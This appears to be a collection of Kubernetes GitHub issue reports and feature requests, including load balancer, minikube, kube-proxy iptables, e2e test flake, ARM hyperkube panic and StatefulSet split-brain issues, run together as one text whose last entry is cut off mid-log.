is this a bug report or feature request?  :\r  \r   what happened  :\r i created a service  type loadbalancer  on a 1.8.3 cluster.\r \r   what you expected to happen  :\r a load balancer to be deployed to gcp\r \r   how to reproduce it  as minimally and precisely as possible   :\r on a v1.8.3 cluster with gcp integration, deploy a service type loadbalancer. the controller-manager was started with  --cloud-provider=gce . however,  --cloud-config  was not specified. \r \r example service:\r    \r kind: service\r apiversion: v1\r metadata:\r   name: ingress-nginx\r   namespace: ingress-nginx\r   labels:\r     app: ingress-nginx\r spec:\r   externaltrafficpolicy: local\r   type: loadbalancer\r   selector:\r     app: ingress-nginx\r   ports:\r   - name: http\r     port: 80\r     targetport: http\r   - name: https\r     port: 443\r     targetport: https\r    \r \r \r   anything else we need to know?  :\r stack trace captured in gist:\r https://gist.github.com/osoriano/02977b3e47c08e1bbde625e2a498d75b\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.3\r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release : ubuntu16\r - kernel  e.g.  uname -a  : 4.10.0-38-generic\r - install tools: kubernetes-the-hard-way\r - others:\r

is this a bug report or feature request?  : \r \r  \r @kubernetes/sig-cli-bugs\r \r   what happened  :\r when running \r \r         minikube start --vm-driver=kvm2 --kvm-network=minikube-net\r \r i get:\r \r e0325 13:23:23.616867   27983 start.go:159  error starting host: error creating host: error creating machine: error running provisioning: ssh command error:\r command : sudo systemctl -f restart crio\r err     : process exited with status 1\r output  : job for crio.service failed because the control process exited with error code.\r see \ systemctl  status crio.service\  and \ journalctl  -xe\  for details.\r \r   what you expected to happen  :\r \r minikube to start up\r \r   how to reproduce it  as minimally and precisely as possible   :\r   \r     minikube start --vm-driver=kvm2 --kvm-network=minikube-net\r  filtered.log  https://github.com/kubernetes/kubernetes/files/1845789/filtered.log \r  jourctl-xe.log  https://github.com/kubernetes/kubernetes/files/1845792/jourctl-xe.log \r \r   anything else we need to know?  :\r \r   environment  :\r \r os: fedora 24$ minikube version, x86-64\r \r minikube version: v0.25.2\r \r - kubernetes version  use  kubectl version  :\r \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r - os  e.g. from /etc/os-release :\r \r fedora 24\r \r - kernel  e.g.  uname -a  :\r linux 4.5.5-300.fc24.x86_64  1 smp thu may 19 13:05:32 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

_problem_ - we've got about 25 or so \ wait for this scenario to occur\  functions in the test/e2e/util.go module.  - test/e2e/utils.go is 4k lines - there are some functions that are only used once, others that have subtle semantic variation, and similar functions w/ divergent naming. examples.   - waitforpodsuccessinnamespace  4 deps , waitforpodrunninginnamespace, waittimeoutforpodnolongerrunning, waitforpodsuccessinnamespacetimeout, waittimeoutforpodreadyinnamespace, waitforpodtodissapear, are all similar.   - the first two functions above are heavily depended on.   - these are not reusable for similar tests which need to scan the cluster, but don't necessarily need to wait on all pods.   - the semantics of each method is hidden and left to the implementation, which is not gauranteed to be the same.  _requirement_   a hierarchichally configured object which supports realtime feedback and pod/rc state scanning, which is functionally extensible, which can replace the calls to all these functions with explicit, modularly defined cluster state.   _solution_  - create a single  clusterstate  struct, which allows for declarative enumeration of pod state, rc state,  wait    and  run    functionality. - example uses:  - a silent wait for a pod to come online  newclusterstate client, namespace .pod \ my-redis-pod\ ,  {pod.running,pod.succeeded} .wait 1 time.minute, verbose, 1 time.second   - a test for all cassandra pods to be running properly  newclusterstate client, namespace .rc \ app\ ,\ cassandra\  .  {pod.running} .run func p { executeonpod \ ls cassandra.log | grep ready!\ }   this would slightly increase verbosity of tests calling these functions, but create one, universally useful declarative cluster state scanner.

although this issue is about glbc which is in its own repo - https://github.com/kubernetes/ingress/commits/master, this affects federation. so filing this issue here.\r \r glbc uses the uid specified in a configmap in its cluster to construct the names of the gce l7 load balancer resources it installs. in the multi-cluster ingress case or the federated ingress case, things work as expected for all the resources except the firewall rules. glbc is conservative about the firewall rules and it exposes only the nodes it is responsible for as the targets clobbering the target list. in the case of federated ingress, each glbc instance running in an underlying cluster in a federation overwrites the targets specified by other instances and this causes gce l7 load balancer's health checks and backends to flap as described here - https://github.com/kubernetes/kubernetes/issues/36327.\r \r a workaround is to manually install a firewall rule to expose the targets of all the underlying clusters in a federation for each federated ingress object so that the health checks can pass and gce l7 load balancer is stable. we will document this workaround in v1.5 and fix the issue in v1.6.\r \r the proposed solution is to have each individual glbc instance install a separate firewall that is responsible for the cluster it is running in. this requires a change in the firewall rule naming scheme. a disadvantage in taking this approach is that, it requires a migration path for the existing firewall rules in the running clusters.\r \r an alternative solution is to have the federated ingress controller program the required firewall rule to allow traffic to all the underlying clusters and a flag to glbc to disable firewall rule creation. disadvantages with this approach are:\r 1. it bakes in gcp-specific knowledge into federated ingress controller which is against the original design goal of the controller.\r 2. multi-cluster ingress users outside federation will still need an automated way to install these rules.\r \r \r cc @kubernetes/sig-cluster-federation @nikhiljindal @matchstick @bprashanth

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-serial/90/  failed:  k8s.io  services should work after restarting apiserver  disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:458 expected error:     < net.operror | 0xc421fb9270>: {         op: \ dial\ ,         net: \ tcp\ ,         source: nil,         addr: {             ip:  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 130, 211, 210, 19 ,             port: 443,             zone: \ \ ,         },         err: {             syscall: \ getsockopt\ ,             err: 0x6f,         },     }     dial tcp 130.211.210.19:443: getsockopt: connection refused not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:448       previous issues for this test:  28257  29159  29449  32447

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r no\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r local isolation\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r bug\r \r   kubernetes version    use  kubectl version  :\r \r kubernetes head\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r for local storage isolation, overlay resource predicates for pod with only overlay or scratch storage request doesn't work.\r \r   what you expected to happen  :\r \r if a pod requests only overlay or scratch storage, then local storage isolation feature should limit the pods.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r run local cluster from master branch, and create following pods  against a machine with less overlay fs than 1024gi .\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: pod\r spec:\r   containers:\r   - name: nginx\r     image: nginx\r     resources:\r       requests:\r         storage.kubernetes.io/overlay: 1024gi\r    \r \r   anything else we need to know  :\r \r

 \r i've deploy a kubernetes environment in some servers with three network interfaces. everything goes well except the iptables rules about the cluster ip of kube-apiserver.\r \r as all servers have three interfaces with the subnets\r \r     10.0.41.0/24\r     10.0.42.0/24\r     192.168.247.0/24\r \r i picked up one   10.0.41.4   for the kube-apiserver, made the apiserver work with certificate, and open  10.0.41.4:6443  for https requests. so the apiserver run as:\r \r     /usr/bin/kube-apiserver --logtostderr=true --v=0 --etcd-servers=http://10.0.41.4:2379 --insecure-bind-address=10.0.41.4 --advertise-address=10.0.41.4 --bind-address=10.0.41.4 --allow-privileged=true --service-cluster-ip-range=10.254.0.0/16 --admission-control=namespacelifecycle,limitranger,securitycontextdeny,serviceaccount,resourcequota --authorization-mode=rbac --runtime-config=rbac.authorization.k8s.io/v1beta1 --kubelet-https=true --experimental-bootstrap-token-auth --token-auth-file=/etc/kubernetes/token.csv --service-node-port-range=30000-32767 --tls-cert-file=/etc/kubernetes/ssl/kubernetes.pem --tls-private-key-file=/etc/kubernetes/ssl/kubernetes-key.pem --client-ca-file=/etc/kubernetes/ssl/ca.pem --service-account-key-file=/etc/kubernetes/ssl/ca-key.pem --enable-swagger-ui=true --apiserver-count=3 --audit-log-maxsize=100 --audit-log-maxbackup=0 --audit-log-path=/home/kube/audit.log --event-ttl=1h --runtime-config=batch/v2alpha1=true\r     \r and the kubelet and kube-proxy started like this\r \r     /usr/bin/kubelet --logtostderr=true --v=0 --api-servers=http://10.0.41.4:8080 --address=10.0.41.1 --hostname-override=10.0.41.1 --allow-privileged=true --cgroup-driver=systemd --cluster-dns=10.254.0.2 --experimental-bootstrap-kubeconfig=/etc/kubernetes/bootstrap.kubeconfig --kubeconfig=/etc/kubernetes/kubelet.kubeconfig --require-kubeconfig --cert-dir=/etc/kubernetes/ssl --cluster-domain=cluster.local. --hairpin-mode promiscuous-bridge --serialize-image-pulls=false --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --node-ip=10.0.41.1\r     /usr/bin/kube-proxy --logtostderr=true --v=0 --bind-address=10.0.41.1 --hostname-override=10.0.41.1 --kubeconfig=/etc/kubernetes/kube-proxy.kubeconfig --cluster-cidr=10.254.0.0/16\r \r       grep 'server:' /etc/kubernetes/ \r     /etc/kubernetes/bootstrap.kubeconfig:    server: https://10.0.41.4:6443\r     /etc/kubernetes/kubelet.kubeconfig:    server: https://10.0.41.4:6443\r     /etc/kubernetes/kube-proxy.kubeconfig:    server: https://10.0.41.4:6443\r \r and there will be some iptables nat rules with recent and random modules for all the network interfaces\r \r     chain kube-svc-npx46m4ptmtkrn6y  1 references \r     pkts      bytes target     prot opt in     out     source               destination         \r        0        0 kube-sep-fa7ax7v3vyks4dyk  all  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / recent: check seconds: 10800 reap name: kube-sep-fa7ax7v3vyks4dyk side: source mask: 255.255.255.255\r        0        0 kube-sep-wrh6l36kl6vqulq6  all  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / recent: check seconds: 10800 reap name: kube-sep-wrh6l36kl6vqulq6 side: source mask: 255.255.255.255\r        0        0 kube-sep-nq46ezo2hbxvi7id  all  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / recent: check seconds: 10800 reap name: kube-sep-nq46ezo2hbxvi7id side: source mask: 255.255.255.255\r        0        0 kube-sep-fa7ax7v3vyks4dyk  all  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / statistic mode random probability 0.33332999982\r        0        0 kube-sep-wrh6l36kl6vqulq6  all  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / statistic mode random probability 0.50000000000\r        0        0 kube-sep-nq46ezo2hbxvi7id  all  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  /\r \r     chain kube-sep-fa7ax7v3vyks4dyk  2 references \r     pkts      bytes target     prot opt in     out     source               destination         \r        0        0 kube-mark-masq  all  --                 10.0.41.4            0.0.0.0/0            /  default/kubernetes:https  /\r        0        0 dnat       tcp  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / recent: set name: kube-sep-fa7ax7v3vyks4dyk side: source mask: 255.255.255.255 tcp to:10.0.41.4:6443\r \r     chain kube-sep-nq46ezo2hbxvi7id  2 references \r     pkts      bytes target     prot opt in     out     source               destination         \r        0        0 kube-mark-masq  all  --                 192.168.247.19       0.0.0.0/0            /  default/kubernetes:https  /\r        0        0 dnat       tcp  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / recent: set name: kube-sep-nq46ezo2hbxvi7id side: source mask: 255.255.255.255 tcp to:192.168.247.19:6443\r \r     chain kube-sep-wrh6l36kl6vqulq6  2 references \r     pkts      bytes target     prot opt in     out     source               destination         \r        0        0 kube-mark-masq  all  --                 10.0.42.4            0.0.0.0/0            /  default/kubernetes:https  /\r        0        0 dnat       tcp  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / recent: set name: kube-sep-wrh6l36kl6vqulq6 side: source mask: 255.255.255.255 tcp to:10.0.42.4:6443\r \r then i cant connect  10.254.0.1:443  with curl sometimes, just because of the iptables. the  10.254.0.1:443  can only be connected when iptables turns it to  10.0.41.4:6443 . other services, i mean nginx server for test, can be connected all the time. because the ip is provided with network plugin  calico , and it's unique.\r \r is it a bug?\r \r i don't think it is normal that kube-proxy just finds all interfaces and make iptables rules for all of them without verifying the connectivity. \r \r i checked many documents on kubernetes.io include the parameters of kube  at <a href=\ https://kubernetes.io/docs/admin/kube-proxy/\ >this</a>, and got nothing valuable. and i don't know whether i missed something important or not.\r \r   environment  :\r \r       kubectl version\r     client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-09t12:55:12z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r       cat /etc/ release\r     centos linux release 7.2.1511  core  \r       uname -a\r     linux node-4 3.10.0-327.18.2.el7.x86_64  1 smp thu may 12 11:03:55 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r

is this a bug report or feature request?  :\r  @kubernetes/sig-auth-bugs \r @kubernetes/sig-scalability-misc \r / / umbrella issue: https://github.com/kubernetes/kubernetes/issues/55194\r please investigate asap, this broke a release-blocking job. \r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/40 failed with the following despite  --ginkgo.flakeattempts=2 \r \r    \r  sig-auth  advanced audit should audit api calls 1m34s\r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=\\ sig\\-auth\\ \\sadvanced\\saudit\\sshould\\saudit\\sapi\\scalls$'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/auth/audit.go:59\r error reading audit log\r expected error:\r     <http2.streamerror>: {streamid: 725, code: 2, cause: nil}\r     stream error: stream id 725; internal_error\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/auth/audit.go:672\r    \r \r    \r  sig-auth  advanced audit should audit api calls 1m42s\r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=\\ sig\\-auth\\ \\sadvanced\\saudit\\sshould\\saudit\\sapi\\scalls$'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/auth/audit.go:59\r expected error:\r     < json.syntaxerror | 0xc422c96300>: {\r         msg: \ unexpected end of json input\ ,\r         offset: 342,\r     }\r     unexpected end of json input\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/auth/audit.go:665\r    \r

  /assign\r \r tracking issue for implementation of mountdevice/unmountdevice for csi plugin that will call through to nodestagevolume/nodeunstagevolume

https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke\r and all other blocking gke jobs\r \r /  /status approved-for-milestone\r  \r cc @jdumars @jberkus @abgworrall \r @mikedanese @kashomon any idea here?\r \r

the test\r \r    \r predicates.go: it \ validates that there is no conflict between pods with same hostport but different hostip and protocol\ , func   {\r    \r \r uses port 80, which is often in use on clusters  in our case, masters have an ingress controller listening on 80 .  the test should use something in the high range that is unlikely to conflict or use a smarter algorithm for finding a port to validate.\r \r @kubernetes/sig-scheduling-bugs @aveshagarwal fails in openshift

 \r   what happened  :\r \r  kubectl explain  does not complete resource names.\r \r ~~~\r kubectl explain  tab  tab \r ~~~\r \r does not complete resources.\r \r   what you expected to happen  :\r \r \r  kubectl explain  tab  tab   completes resource names.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r ~~~\r kubectl explain  tab  tab \r ~~~\r \r   anything else we need to know?  :\r \r proposal patch: https://github.com/kubernetes/kubernetes/pull/63125\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r ~~~\r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r ~~~\r \r @kubernetes/sig-cli-bugs

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r attempted to run  hyperkube kubectl get pods  but it panics on arm architecture  raspberry pi 3 b+ :\r \r    \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x76eda68c \r goroutine 1  running :\r runtime: unexpected return pc for runtime.sigpanic called from 0x76eda68c\r    \r \r interestingly the  kubectl  binary from the same archive works as expected. only the  hyperkube  binary seems to have the issue.\r \r full panic output:\r \r  panic.log  https://github.com/kubernetes/kubernetes/files/2717705/panic.log \r \r   what you expected to happen  :\r \r  kubectl  commands succeed without panicking.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - downloaded  hyperkube  v1.13.1  arm architecture  from  here  https://dl.k8s.io/v1.13.1/kubernetes-server-linux-arm.tar.gz \r - extract archive into current directory\r - run a  kubectl  command via  hyperkube  binary:  ./kubernetes/server/bin/hyperkube kubectl get pods \r - see that command panics\r \r   anything else we need to know?  :\r \r works on v1.12.4, but v1.13.0 and v1.13.1 fail.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/arm\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/arm\ }\r    \r - cloud provider or hardware configuration: raspberry pi 3 b+  arm architecture \r - os  e.g. from /etc/os-release : raspbian gnu/linux 9  stretch \r - kernel  e.g.  uname -a  :  linux node1 4.14.70-hypriotos-v7+  1 smp fri nov 9 04:39:17 utc 2018 armv7l gnu/linux \r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

aws now has a built-in registry called  ecr  https://aws.amazon.com/blogs/aws/ec2-container-registry-now-generally-available/ , similar to google container registry.  we should document how to use ecr for those kubernetes users who wish to use ecr with their aws-hosted k8s clusters.  we should document and test how to get a credential from aws  e.g using  aws ecr get-login  , and how to put that in a secret for use with imagepullsecrets, or how to  scp  that credential to all vms.

microsoft is recommending migrating from the classic deployment model to their  resource manager  rm   https://azure.microsoft.com/en-us/documentation/articles/resource-manager-deployment-model/  deployment model.  unfortunately, the api for classic vs. rm is not compatible in several areas. trying to deploy kubernetes under rm leads to the following error:      error: unknown option  --address-space'

the network plugin is being called for the infra container. https://github.com/kubernetes/kubernetes/blob/9fef5f2938bb9db0667de893a5733cb899afd8ed/pkg/kubelet/dockertools/manager.go l1894  this is causing the network plugin to receive an incorrect container id, by receiving the infra container id and not the container id that is being created.  imo this code https://github.com/kubernetes/kubernetes/blob/9fef5f2938bb9db0667de893a5733cb899afd8ed/pkg/kubelet/dockertools/manager.go l1894, should be put here https://github.com/kubernetes/kubernetes/blob/9fef5f2938bb9db0667de893a5733cb899afd8ed/pkg/kubelet/dockertools/manager.go l1989.   although the spec says the container id can be optional. https://github.com/appc/cni/blob/master/spec.md parameters  ping @random-liu

in particular for the master, we've had reports of the ephemeral disks failing to mount after a reboot or upgrade or stop/start, and of this blocking the boot.

https://github.com/kubernetes/kubernetes/pull/18016 issuecomment-199979272 has good context on what's required to support an elasticsearch deployment.

we'd like to graduate multi-scheduler to beta in 1.4.  beta -     change annotation key from  scheduler.alpha.kubernetes.io/name  to  scheduler.beta.kubernetes.io/name  -     make sure we have a rollback story or are sure we won't need to rollback earlier than when feature was first introduced  v1 -     change annotation key from  scheduler.beta.kubernetes.io/name  to  scheduler.kubernetes.io/name   the design doc has some suggestions for \ next steps\  and we should incorporate any of those that we actually want to do into \ beta,\  but i'm not sure any of them are necessary?  eta: previously we had \ implement  metadatapolicy  https://github.com/kubernetes/kubernetes/blob/master/docs/design/metadata-policy.md \  for beta and \ use initializer pattern in metadatapolicy\  but i think we can separate that from this feature.  cc/ @haiyangding @bgrant0607   ref/  17865  18262

bug report      kubernetes version    use  kubectl version  :   client version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-beta.11.1+26dbde542d8a7d-dirty\ , gitcommit:\ 26dbde542d8a7df3b0eac1c4094762ae5b82c1f9\ , gittreestate:\ dirty\ , builddate:\ 2016-09-28t10:08:15z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-beta.11.1+26dbde542d8a7d-dirty\ , gitcommit:\ 26dbde542d8a7df3b0eac1c4094762ae5b82c1f9\ , gittreestate:\ dirty\ , builddate:\ 2016-09-28t10:08:15z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }     environment  : -   cloud provider or hardware configuration  :  baremetal -   os    e.g. from /etc/os-release :  16.04.1 lts  xenial xerus  -   kernel    e.g.  uname -a  :  linux node1 4.4.0-36-generic  55-ubuntu smp thu aug 11 18:01:55 utc 2016 x86_64 x86_64 x86_64 gnu/linux    what happened  :   kill -9  on mysql-0 introduced a split brain.    what you expected to happen  :  expected a regenerated config with is used for connecting to cluster.    how to reproduce it   - let's create service   kubectl create -f https://raw.githubusercontent.com/kubernetes/kubernetes/master/test/e2e/testing-manifests/petset/mysql-galera/service.yaml  - let's create pv      cat << eof | kubectl create -f - kind: persistentvolume apiversion: v1 metadata:   name: mysql-pv0   labels:     type: local spec:   capacity:     storage: 1gi   accessmodes:     - readwriteonce   hostpath:     path: \ /var/mysql-0\   --- kind: persistentvolume apiversion: v1 metadata:   name: mysql-pv1   labels:     type: local spec:   capacity:     storage: 1gi   accessmodes:     - readwriteonce   hostpath:     path: \ /var/mysql-1\   --- kind: persistentvolume apiversion: v1 metadata:   name: mysql-pv2   labels:     type: local spec:   capacity:     storage: 1gi   accessmodes:     - readwriteonce   hostpath:     path: \ /var/mysql-2\  eof     - let's create a petset  _delete annotation in volume_ if you are not running gce    kubectl create -f https://raw.githubusercontent.com/kubernetes/kubernetes/master/test/e2e/testing-manifests/petset/mysql-galera/petset.yaml  - let's wait when all pods are running   kubectl get pods  name      ready     status    restarts   age       ip              node mysql-0   1/1       running   0          6m        10.233.83.70    node1 mysql-1   1/1       running   0          5m        10.233.86.72    node3 mysql-2   1/1       running   0          5m        10.233.73.199   node2 - let's check the config of mysql-0 pod   kubectl exec -t -i mysql-0 /bin/cat /etc/mysql/my-galera.cnf | grep wsrep_cluster_address  wsrep_cluster_address=gcomm://  kubectl exec -t -i mysql-1 /bin/cat /etc/mysql/my-galera.cnf | grep wsrep_cluster_address  wsrep_cluster_address=gcomm://mysql-0.galera.default.svc.cluster.local,mysql-1.galera.default.svc.cluster.local - let's check how many nodes in cluster   mysql -h10.233.83.70 -e 'show status like \ wsrep_incoming_addresses\ \\g'                            \\  1. row                             variable_name: wsrep_incoming_addresses         value: mysql-0.galera.default.svc.cluster.local:3306,mysql-1.galera.default.svc.cluster.local:3306,mysql-2.galera.default.svc.cluster.local:3306  all 3 nodes have the same info.  - let's 'kill -9' the process of mysql-0  it's important to kill exactly mysql-0 as it's config is empty . let's wait when it's up and running - let's compare  'wsrep_incoming_addresses' on this node and on any other node   mysql -h10.233.83.70 -e 'show status like \ wsrep_incoming_addresses\ \\g'                            \\  1. row                             variable_name: wsrep_incoming_addresses         value: mysql-0.galera.default.svc.cluster.local:3306  mysql -h10.233.86.72 -e 'show status like \ wsrep_incoming_addresses\ \\g'                            \\  1. row                             variable_name: wsrep_incoming_addresses         value: mysql-1.galera.default.svc.cluster.local:3306,mysql-2.galera.default.svc.cluster.local:3306  we've got a split brain as config for mysql-0 was not regenerated.    anything else do we need to know  :  normally, config should be regenerated somehow. it should be done by rerunning init container or introduce a new type of 'refresh' containers. otherwise stateful services will require much more complex orchestration.

this logic is brittle, it uses 2 flags to control when to relese the static ip and flips them on/off throughout a 250 line function. the default quota for static ips is 7, and when there's a leak the entire queue is closed till we come up with the exact order of if/else/retry logic that caused one of the flags to end up false.

the route53 dnsprovider doesn't implement filtering.  on route53, there is a 5 request per second rate limit  per aws _account_ : http://docs.aws.amazon.com/route53/latest/developerguide/dnslimitations.html\r \r with pagination, it is very likely that we will issue more than 5 requests per second just listing resource records for a big zone.\r \r we need to implement filtering.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-08t02:50:34z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:34:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : debian gnu/linux 8  jessie  8.7\r -   kernel    e.g.  uname -a  : linux mt11 3.16.0-4-amd64  1 smp debian 3.16.39-1  2016-12-30  x86_64 gnu/linux\r -   install tools  :  \r -   others  :\r \r   what happened  :\r \r pods created by jobs have been deleted. attempting to delete the jobs afterwards succeeds according to the output of kubectl but the jobs reappear immediately. the only fix i could find was to remove the keys directly in etcd.\r \r   what you expected to happen  :\r \r kubectl should delete the jobs even if the associated pod is gone.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r let a cronjob create jobs and delete the pods. afterwards try to delete the jobs with    kubectl delete job x   \r \r   anything else we need to know  :\r \r

here's one instance.\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging/2498\r \r i0426 10:41:36.139   k8s.io  rescheduler  serial \r i0426 10:41:36.140  \u001b 90m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:826\u001b 0m\r i0426 10:41:36.140    should ensure that critical pod is scheduled in case there is no resources available\r i0426 10:41:36.140    \u001b 90m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:69\u001b 0m\r i0426 10:41:36.140  \u001b 90m------------------------------\u001b 0m\r i0426 10:41:36.140  \u001b 36ms\u001b 0m\r i0426 10:41:36.140  \u001b 90m------------------------------\u001b 0m\r i0426 10:41:36.140  \u001b 0m k8s.io  logging soak  performance   slow   disruptive \u001b 0m \r i0426 10:41:36.140    \u001b 1mshould survive logging 1kb every 1s seconds, for a duration of 2m0s, scaling up to 1 pods per node\u001b 0m\r i0426 10:41:36.140    \u001b 37m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/logging_soak.go:82\u001b 0m\r i0426 10:41:36.140   beforeeach   k8s.io  logging soak  performance   slow   disruptive \r i0426 